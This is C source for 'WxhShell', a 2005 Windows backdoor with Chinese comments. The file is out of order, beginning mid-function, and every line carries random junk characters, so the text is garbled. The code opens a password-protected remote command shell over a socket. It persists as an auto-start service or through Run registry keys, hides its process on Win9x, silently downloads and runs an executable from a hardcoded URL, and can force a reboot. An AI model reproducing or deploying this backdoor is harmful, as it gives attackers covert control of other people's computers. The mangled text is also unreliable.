    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l0Pg`wH,  
    if(Boot(SHUTDOWN)) u:,B"!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0|GxOzNd  
    else { uN`ACc)ESi  
    closesocket(wsh); *VRFs=  
    ExitThread(0); X^xu$d6   
    } 4El{2cfA  
    break; Q?1 KxD!  
    } O]2h=M@q.  
  // 获取shell **s:H'Mw_  
  case 's': { ^?J:eB!  
    CmdShell(wsh); 1km=9[;w'  
    closesocket(wsh); %0u7pk  
    ExitThread(0); ~^5uOeTZ~  
    break; mZM5aTQ3  
  } /VJ@`]jhDf  
  // 退出 `DA=';>Y  
  case 'x': { _t;w n7p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M6X f}>  
    CloseIt(wsh);  WHpbQQX  
    break; <#R7sco'  
    } +[F9Q,bH@b  
  // 离开 Hpsg[d)!  
  case 'q': { ;TW@{re  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,2kWj7H%7  
    closesocket(wsh); c"QH-sE  
    WSACleanup(); *i$+i  
    exit(1); j:sac*6m  
    break; nK96A.B%p  
        } 3IJIeG>  
  } uP* >-s'm  
  } "?S#vUS+ 2  
fO(.I  
  // 提示信息 pxY5S}@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =_,OucKkYG  
} :YV!;dKJ  
  } xHL{3^  
+zw<iB)J  
  return; J J3vC  
} i&bttSRNV  
D l"y|  
// shell模块句柄 qK#* UR0%  
int CmdShell(SOCKET sock) W&p-Z"=)  
{ j?8E >tM  
STARTUPINFO si; _@RW7iP>  
ZeroMemory(&si,sizeof(si)); c dGl[dQ/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 /H1INve  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mV4} -  
PROCESS_INFORMATION ProcessInfo; W%$p,^@S5  
char cmdline[]="cmd"; 'Klz`)F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fvv6<E  
  return 0; om/gk4S2  
} 2]C0d8=*?  
W&yw5rt**  
// 自身启动模式 @?%"nK  
int StartFromService(void) i2!{.*.  
{ :8 )4:4$^  
typedef struct $ jn tT(V  
{ ,Y5+UzE@  
  DWORD ExitStatus; )1i)I?m  
  DWORD PebBaseAddress; O'mX7rY<<(  
  DWORD AffinityMask; lq9c2xK  
  DWORD BasePriority; (>Yii_Cd  
  ULONG UniqueProcessId; B}!n6j`  
  ULONG InheritedFromUniqueProcessId; 2KzKNe(  
}   PROCESS_BASIC_INFORMATION; 1R:h$* -z  
<T&$1m{  
PROCNTQSIP NtQueryInformationProcess; @a3<fmJ  
M,{F/Yu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~_oTEXT^O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Jtaq[y\r  
`}=Fw0  
  HANDLE             hProcess; U$J]^-AS  
  PROCESS_BASIC_INFORMATION pbi; Df4n9m}E  
XH*^#c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9\n}!{@i  
  if(NULL == hInst ) return 0; 8uu:e<PLv  
zzx4;C",u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [NFAdE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~/.&Z`ls  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,onv `  
~KNxAxyVi  
  if (!NtQueryInformationProcess) return 0; 3&zmy'b*:  
f2Slsl;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());   C[Fh^  
  if(!hProcess) return 0; zZ wD)p?_g  
C[s*Na-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m7@`POI  
kOc'@;_O  
  CloseHandle(hProcess); A} "*`y  
< 37vWK1+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kjmF-\  
if(hProcess==NULL) return 0; q'@UZ$2  
9 o18VJR  
HMODULE hMod; lg=[cC2  
char procName[255]; vSyN_AB?$  
unsigned long cbNeeded; $C>EnNx  
9Z*vp^3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &0l Nj@/  
uI%[1`2N-  
  CloseHandle(hProcess); C/w;g3  
~Ch`A@=5  
if(strstr(procName,"services")) return 1; // 以服务启动 JxWHrsh[  
bH.">IV  
  return 0; // 注册表启动 4EELaP|%  
} 0O:TKgb&C.  
)I <.DN&  
// 主模块 Jw^+t)t  
int StartWxhshell(LPSTR lpCmdLine) V:+}]"yJ,  
{ xtnB: 3  
  SOCKET wsl;  {jl4`  
BOOL val=TRUE; ^aC[Z P:  
  int port=0; fvx0]of  
  struct sockaddr_in door; V&>7i9lEz  
y^XwJX-f  
  if(wscfg.ws_autoins) Install(); -cW5v  
~9n@MPS^!  
port=atoi(lpCmdLine); GphG/C (  
&sKYO<6K }  
if(port<=0) port=wscfg.ws_port; '=ZE*nGC  
v#X? KqD  
  WSADATA data; sM4wh_lO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9}\T?6?8pX  
6lhVwgy3A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [DE8s[i-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +:t1PV;l  
  door.sin_family = AF_INET; hb_Ia]b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RWoiV10  
  door.sin_port = htons(port); Md~mI8  
UxW>hbzr&V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { " pH+YqJ$  
closesocket(wsl); eMF%!qUr  
return 1; `b2 I)xC#  
} j4l7Tx  
(I+-wki"e  
  if(listen(wsl,2) == INVALID_SOCKET) { x|Ei_hI-  
closesocket(wsl); v|"{x&I.  
return 1; 4*54"[9Hr#  
} B|%;(bM2C  
  Wxhshell(wsl); qle\c[UM5  
  WSACleanup(); dV5 $L e#y  
/yOd]N;$  
return 0; khIh<-s!  
J3zb_!PPE  
} =y4g. J\  
kSJWQ  
// 以NT服务方式启动 F3qi$3HM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !9!N s(vUM  
{ ecF I"g  
DWORD   status = 0; "au"\}   
  DWORD   specificError = 0xfffffff; z XvWo6  
z[';HJ0O;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @#V{@@3$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0>'1|8+`(z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YcGqT2oLP  
  serviceStatus.dwWin32ExitCode     = 0; =thgNMDm"  
  serviceStatus.dwServiceSpecificExitCode = 0; tQ)8HVKF  
  serviceStatus.dwCheckPoint       = 0; w7 QIKsI0  
  serviceStatus.dwWaitHint       = 0; @NVq .z  
b2 ),J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p;p G@Vg  
  if (hServiceStatusHandle==0) return; }Orc;_)r  
`)%eU~  
status = GetLastError(); 1S=I(n?E  
  if (status!=NO_ERROR) n*;I2FV]  
{ Ve=0_GR0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (zhmZm  
    serviceStatus.dwCheckPoint       = 0; F|PYDC  
    serviceStatus.dwWaitHint       = 0; &o8\ $A  
    serviceStatus.dwWin32ExitCode     = status;  RFZrcM  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q~]R#S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9xSAWKr,l  
    return; 5~sJ$5<,  
  } 2M;{|U  
mr/^lnO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1xx-}AIH#  
  serviceStatus.dwCheckPoint       = 0; jeW0;Cz J~  
  serviceStatus.dwWaitHint       = 0; fer'2(G?W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]y(#]Tw\  
} X{ Nif G  
"NJ!A  
// 处理NT服务事件,比如:启动、停止 8@r+)2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Og,,s{\  
{ U,]z)1#X|  
switch(fdwControl) +Q'/c0o  
{ ~MXPiZG?  
case SERVICE_CONTROL_STOP: H7{ 6t(0j  
  serviceStatus.dwWin32ExitCode = 0; weu'<C   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B!Qdf8We  
  serviceStatus.dwCheckPoint   = 0; Bb1dH/8  
  serviceStatus.dwWaitHint     = 0; b\^.5SEw  
  { -_2= NA?t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RuHJk\T+  
  } a-YK*  
  return; p<![JeV  
case SERVICE_CONTROL_PAUSE: wRuJein#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YsTfv1~z#  
  break; zX5p'8-  
case SERVICE_CONTROL_CONTINUE: d8x$NW-s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O" z=+79q  
  break; / '7WL[<  
case SERVICE_CONTROL_INTERROGATE: Ek 4aC3  
  break; ?d_Cy\G  
}; v5*SoUOF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1.';:/~(  
} ;[6u79;I  
Bg#NB  
// 标准应用程序主函数 VE GUhI/d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OixQlAb{  
{ O|OPdD  
& XrV[d[>  
// 获取操作系统版本 KDY~9?}TM  
OsIsNt=GetOsVer(); <H 3}N!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Ct} ||9/  
c\R! z&y~  
  // 从命令行安装 K_My4>~Il  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7tyn?t0n  
nVYh1@yLy  
  // 下载执行文件 ]`|bf2*eA  
if(wscfg.ws_downexe) { ` "9Y.KU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !E*-\}[  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pajr`gU  
} A5nu`e9&  
\F<]l6E  
if(!OsIsNt) { *D\nsJ*g  
// 如果时win9x,隐藏进程并且设置为注册表启动 |D^[]*cEH  
HideProc(); Ak1f*HGl|  
StartWxhshell(lpCmdLine); )kd PAw  
} b|xz`wUH0$  
else HL_MuyE  
  if(StartFromService()) B'=*92i>S  
  // 以服务方式启动 M r@M~ -  
  StartServiceCtrlDispatcher(DispatchTable); 3kJAaI8   
else R!,RZ?|v  
  // 普通方式启动 ,>Yz1P)L  
  StartWxhshell(lpCmdLine); ah}aL7dgO  
{)Gh~~57_W  
return 0; \(Hg_]>m  
} tBf u{oC  
[y:6vC   
OCX?U50am  
u2F 3>s  
=========================================== 7&+Gv6E  
20K<}:5t1  
pM4 j=F  
2/h Mx-  
"cti(0F-d  
TX 12$p\  
" n ,H;PB  
N-5lILuJJ  
#include <stdio.h> :1A Ound  
#include <string.h> v[~ U*#i  
#include <windows.h> wlkS+$<  
#include <winsock2.h> m2 OP=z@)  
#include <winsvc.h> Ot/Y?=j~  
#include <urlmon.h> 7$w:~VZ  
<;acWT?(  
#pragma comment (lib, "Ws2_32.lib") 2Gx&ECa,  
#pragma comment (lib, "urlmon.lib") WLizgVM  
mDo]5 i<  
#define MAX_USER   100 // 最大客户端连接数 ?B[Z9Ef"8l  
#define BUF_SOCK   200 // sock buffer w%L0mH2]ng  
#define KEY_BUFF   255 // 输入 buffer  m>a6,#I  
5#iv[c  
#define REBOOT     0   // 重启 2sf/^XC1  
#define SHUTDOWN   1   // 关机 )} /9*  
$<T)_g  
#define DEF_PORT   5000 // 监听端口  ) .#,1  
(I\aGGW  
#define REG_LEN     16   // 注册表键长度 :yO)g]KF  
#define SVC_LEN     80   // NT服务名长度 H,?AaM[V  
2o{Fp7l  
// 从dll定义API J4x1qY)Y&v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 56L>tP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?X=9@m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O/Da8#S<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  g\n@(T$)  
IU3OI:uq  
// wxhshell配置信息 =:#$_qR  
struct WSCFG { rj,Sk~0Q  
  int ws_port;         // 监听端口 D3MuP p-v  
  char ws_passstr[REG_LEN]; // 口令 ww[STg  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~C[R%%Gu  
  char ws_regname[REG_LEN]; // 注册表键名 ~r=u1]z  
  char ws_svcname[REG_LEN]; // 服务名 Kw'A%7^e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RMsr7M4<91  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TCB<fS~U-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & {B,m%G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )0/ D Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `<[Zs]Fe4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %M ~X:A;4  
,A_itRHH  
}; G;, 2cu K  
'e0qdY`  
// default Wxhshell configuration qk<tLvD_'  
struct WSCFG wscfg={DEF_PORT, Th@L68  
    "xuhuanlingzhe", yzXwxi1#  
    1, l=kgRh  
    "Wxhshell", eZf-i1lJ  
    "Wxhshell", z07!i@ue~  
            "WxhShell Service", RN!oflb  
    "Wrsky Windows CmdShell Service", .w&{2,a3  
    "Please Input Your Password: ", Lw-)ijBW  
  1, cC>.`1:  
  "http://www.wrsky.com/wxhshell.exe", Km-lWreTH  
  "Wxhshell.exe" 377$c;4 F  
    }; e}aD <E G  
QK//bV)  
// 消息定义模块 R0{n0Br  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nnx"b 5I}n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TN` pai0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jtl7t59R  
char *msg_ws_ext="\n\rExit."; /k7`TUK  
char *msg_ws_end="\n\rQuit."; o#E z_D[  
char *msg_ws_boot="\n\rReboot..."; -rU *)0PR  
char *msg_ws_poff="\n\rShutdown..."; v%B^\S3)  
char *msg_ws_down="\n\rSave to "; T w/CJg  
nuXaZRH  
char *msg_ws_err="\n\rErr!"; zYF'XB]4  
char *msg_ws_ok="\n\rOK!"; &W}ooGg  
AnIENJ  
char ExeFile[MAX_PATH]; 3\6jzD  
int nUser = 0; Hn:%(Rg=aW  
HANDLE handles[MAX_USER]; ]xV7)/b5G  
int OsIsNt; ,7tN&R_  
|1;0q<Ka  
SERVICE_STATUS       serviceStatus; dZv-lMYBE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Le#bitp  
j2tw`*S+  
// 函数声明 .rax`@\8  
int Install(void); \'j%q\Bl;  
int Uninstall(void); 5AQ $xm4  
int DownloadFile(char *sURL, SOCKET wsh); k g+"Ta[9  
int Boot(int flag); >m%\SuXq  
void HideProc(void); YdIV_&-W  
int GetOsVer(void); ?I7%@x!+S  
int Wxhshell(SOCKET wsl); ^'[Rb!Q8  
void TalkWithClient(void *cs); `P"-9Ue=  
int CmdShell(SOCKET sock); @;Yb6&I;  
int StartFromService(void); Fy^!*M-  
int StartWxhshell(LPSTR lpCmdLine); |PTL!>ym2  
/q(+r5k \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ge|caiH1I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z#MPlw0B  
Hd6Qy {,*-  
// 数据结构和表定义 ]J m9D=  
SERVICE_TABLE_ENTRY DispatchTable[] = =suj3.   
{ 8vc4J5  
{wscfg.ws_svcname, NTServiceMain}, q'{E $V)E  
{NULL, NULL} tUL(1:-C  
}; pSay^9ZI  
^yjc"r%B  
// 自我安装 &!Y^DR/  
int Install(void) 5qB>Song  
{ 4*d_2:|u  
  char svExeFile[MAX_PATH]; hDzKB))<w  
  HKEY key; 8V^gOUF.  
  strcpy(svExeFile,ExeFile); "'dt"x)  
k45xtKS>d  
// 如果是win9x系统,修改注册表设为自启动 A10/"Ec<u  
if(!OsIsNt) { sj Yg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3E:wyf)i"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A+NLo[swwu  
  RegCloseKey(key); <86upS6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o^7}H{AE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v"=^?5B  
  RegCloseKey(key); lbTz  
  return 0; Y!CZ?c) @  
    } )vhHlZ *+  
  } w/>k  
} %e:VeP~  
else { Pgs4/  
v!K %\h2A  
// 如果是NT以上系统,安装为系统服务 \O72PC+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }JAg<qy}  
if (schSCManager!=0) $Omc Ed  
{ dt^yEapjM  
  SC_HANDLE schService = CreateService ATH0n>)  
  ( e,|"9OK  
  schSCManager, k h#|`E#,  
  wscfg.ws_svcname, x w]Zo<F  
  wscfg.ws_svcdisp, w,9$*=k  
  SERVICE_ALL_ACCESS, X62z>mM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , + ECV|mkk  
  SERVICE_AUTO_START, .K;*uq:0  
  SERVICE_ERROR_NORMAL, \d%&_rp  
  svExeFile, ` _[\j]  
  NULL, $Ob]JAf}  
  NULL, 23&;28)8  
  NULL, {Km|SG[-q  
  NULL, XR]]g+Z  
  NULL J4xt!RW!  
  ); ${0Xq k  
  if (schService!=0) "kVN|Do  
  { 7H++ pOF  
  CloseServiceHandle(schService); Q->'e-\E<"  
  CloseServiceHandle(schSCManager); ~\Fde^1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &I<R|a  
  strcat(svExeFile,wscfg.ws_svcname); }a-ikFQ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <`~] P$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "EQ}xj  
  RegCloseKey(key); h$4V5V  
  return 0; x(}@se  
    } E+UOuf*(  
  } k;l^wM  
  CloseServiceHandle(schSCManager); &3S;5{7_e  
} Y=/HsG\W]  
} !\RR UH*  
^ 4c2}>f  
return 1; ;@ %~eIlu  
} >0T0K`o  
}0}J  
// 自我卸载 : :e=6i  
int Uninstall(void) V]`V3cy1+3  
{ !V7VM_}@Y  
  HKEY key; yEzp+Ky  
Ed.~9*m  
if(!OsIsNt) { -L</,>p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qm@c[b  
  RegDeleteValue(key,wscfg.ws_regname); hDjsGB|Fz  
  RegCloseKey(key); _OHz6ag  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IeZ}`$[H  
  RegDeleteValue(key,wscfg.ws_regname); j#<#o:If  
  RegCloseKey(key); DZ(e^vq  
  return 0; X}h{xl   
  } [&3G `8hY  
} f+1)Ju~  
} DM~Q+C=Yr  
else { nNq|v=L  
?)5}v4b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6(<AuhFu  
if (schSCManager!=0) h:Npi `y  
{ t.485L %  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @_h/%>0  
  if (schService!=0) nYTI\f/8v  
  { =r:D]?8oC  
  if(DeleteService(schService)!=0) { H2p1gb#  
  CloseServiceHandle(schService); %~ZOQ%c1  
  CloseServiceHandle(schSCManager); S'B7C>i`#N  
  return 0; C(7LwV  
  } Hg*6I%D[So  
  CloseServiceHandle(schService); xGPt5l<M&  
  } Y&]pC  
  CloseServiceHandle(schSCManager); Ab cmI*y  
} ,Es5PmV@$%  
} I]jVnQ>&  
bmzs!fg_~R  
return 1; ~KHp~Xs`  
} J[RQF54qA{  
O9:vPbn  
// 从指定url下载文件 F~)xZN3=  
int DownloadFile(char *sURL, SOCKET wsh) qf(!3  
{ G{YJ(6etZ  
  HRESULT hr; %l5Uy??Z  
char seps[]= "/"; #0hX)7(j  
char *token; w!8h4U. ;  
char *file; \7jcZ~FBX%  
char myURL[MAX_PATH]; Xp4pN{he  
char myFILE[MAX_PATH]; rq T@i(i  
#eR*|W7o  
strcpy(myURL,sURL); _lu.@IX-  
  token=strtok(myURL,seps); GriL< =?t  
  while(token!=NULL) `cMa Fc-y/  
  { ^A;v|U  
    file=token; b"/P  
  token=strtok(NULL,seps); [;h@ q}  
  } - "h {B  
q}1AV7$Ai  
GetCurrentDirectory(MAX_PATH,myFILE); i *nNu-g  
strcat(myFILE, "\\"); !NZFo S~  
strcat(myFILE, file); oT_k"]~Q~2  
  send(wsh,myFILE,strlen(myFILE),0); fL' 42  
send(wsh,"...",3,0); L+9a4/q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U3 ED3) D  
  if(hr==S_OK) UXR$7<D+  
return 0; pV:X_M6  
else M)i2)]F S  
return 1; +wS?Z5%mU  
zT0FTAl ^  
} /c]I|$v  
}#a d  
// 系统电源模块 +'y$XR~W{  
int Boot(int flag) A ElNf:  
{ .y#@~H($  
  HANDLE hToken; p@YU7_sF^!  
  TOKEN_PRIVILEGES tkp; GwxfnC Ki9  
_u]Wr%D@  
  if(OsIsNt) { ` ~VV1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HwiG~'Ah9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SI4M<'fK  
    tkp.PrivilegeCount = 1; <Mxy&9}ic  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `:R8~>p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  gX.4I;  
if(flag==REBOOT) { }Q/xBC)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JY4 +MApN  
  return 0; QEm6#y  
} Z_ak4C  
else { ?.,..p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LmseY(i N  
  return 0; P8:k"i/6J  
} q: ?6  
  } cOxF.(L  
  else { gR?=z}`@p  
if(flag==REBOOT) { xCiY jl$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rcY[jF  
  return 0; [8l8 m6  
} vRVQ:fw  
else { H+;>>|+:~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #q6jE  
  return 0; _ ?xORzO  
} B14z<x}Q  
} PZ AyHXY  
P!0uAkt9C  
return 1; C Rw.UC\  
} 6zaO$  
ZdY:I;)s  
// win9x进程隐藏模块 0\k2F,:%4  
void HideProc(void) FI Io{ru  
{ [(F.x6z)  
mC8c`# 1T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _r?H by<b  
  if ( hKernel != NULL ) LS?3 >1g  
  { Zb^0EbV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4pduzO'I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a>ZV'~zTf  
    FreeLibrary(hKernel); !c[?$#W4  
  } nulVQOj|  
'[I?G6  
return; 1\$xq9  
} W{*U#:Jx1  
 wC}anq>>  
// 获取操作系统版本  &)T5V  
int GetOsVer(void) J)"2^?!&B  
{ l*e*jA_>:7  
  OSVERSIONINFO winfo; a[ 1^)=/DM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5.q2<a :  
  GetVersionEx(&winfo); |p-, B>p!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) to|O]h2*U2  
  return 1; O>IY<]x>L  
  else `gDpb.=Y  
  return 0; J4;w9[a$  
} SRRqIQz  
!NuiVC]  
// 客户端句柄模块 .-awl1 W  
int Wxhshell(SOCKET wsl) bzF>Efza  
{ RpOGY{[)[  
  SOCKET wsh; cGIxE[n'  
  struct sockaddr_in client; @ 4#q  
  DWORD myID; 0r*E$|zZ  
.hzzoLI2  
  while(nUser<MAX_USER) zn@<>o8hU  
{ X3-pj<JLY  
  int nSize=sizeof(client); b8r?Dd"T8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '=Nb`n3%  
  if(wsh==INVALID_SOCKET) return 1; mCb(B48]%X  
%iPWg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nQy.?*X  
if(handles[nUser]==0) idPx! fe  
  closesocket(wsh); A,Wwt [Qw  
else ;6KcX\g-  
  nUser++; "v@Y[QI  
  } NTb mI$(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]bLI!2Kr  
u!hY bCB  
  return 0; gFizw:l  
} GL-v</2'U  
MHeUh[%(  
// 关闭 socket HkVnTC  
void CloseIt(SOCKET wsh) Tty_P,  
{ MKf|(6;~  
closesocket(wsh); #^4p(eZ[}  
nUser--; _kg<K D=P  
ExitThread(0); %UT5KYd!=N  
} @a$_F3W  
LmWZ43Z"@  
// 客户端请求句柄 Kkcb' aDR  
void TalkWithClient(void *cs) m!Cvd9X=  
{ }Go?j# !  
d,8L-pT$FM  
  SOCKET wsh=(SOCKET)cs; ' ^E7T'v%  
  char pwd[SVC_LEN]; VHyH't_&s  
  char cmd[KEY_BUFF]; X'Q?Mh  
char chr[1]; ]Wr2 IM  
int i,j; Z}#'.y\ f  
zisf8x7^W  
  while (nUser < MAX_USER) { .ZQD`SRrI  
"{(|}Cds  
if(wscfg.ws_passstr) { Q6)Wh6Cm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N-Fs-uB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h;cl+c|B  
  //ZeroMemory(pwd,KEY_BUFF); DB%}@IW"  
      i=0; "jV :L  
  while(i<SVC_LEN) { !IF]P#  
=1sGT;>  
  // 设置超时 fIe';a  
  fd_set FdRead; '5V} Z3zJ/  
  struct timeval TimeOut; ?1w{lz(P  
  FD_ZERO(&FdRead); \kWL:uU  
  FD_SET(wsh,&FdRead); iMjoa tt  
  TimeOut.tv_sec=8; 9^ ;Cz>6s  
  TimeOut.tv_usec=0; G5*"P!@6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2^ uP[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7.)kG}q]  
J>Pc@,y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PL} Wu=  
  pwd=chr[0]; !iv6k~.e'2  
  if(chr[0]==0xd || chr[0]==0xa) { _|+}4 ap  
  pwd=0; sjGy=d{:oL  
  break; v z6No%8X  
  } 4fauI%kc  
  i++; }uP`=T!"8  
    } " GRR,7A  
& pHSX  
  // 如果是非法用户,关闭 socket qlSI|@CO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =jv3O.zq  
} #dA9v7  
:m.6a4vx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )R6h 1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]gjQy.c|  
d ~#B,+  
while(1) { 43wm_4C!H  
xmVW6 ,<?  
  ZeroMemory(cmd,KEY_BUFF); H=lzW_(  
?vt#M^Q   
      // 自动支持客户端 telnet标准   aa2 vk)~  
  j=0; o8_))  
  while(j<KEY_BUFF) { W(5XcP(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T<? (KW  
  cmd[j]=chr[0]; C)UL{n  
  if(chr[0]==0xa || chr[0]==0xd) { {%wF*?gk  
  cmd[j]=0; \-Vja{J]  
  break; H(?)v.%  
  } CP0;<}k  
  j++; [nc-~T+Mo  
    } :j2?v(jT_l  
f \ E9u}  
  // 下载文件 B]2m(0Y>>v  
  if(strstr(cmd,"http://")) { H 48YX(HI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Ve`j,`=<  
  if(DownloadFile(cmd,wsh)) hGU  m7  
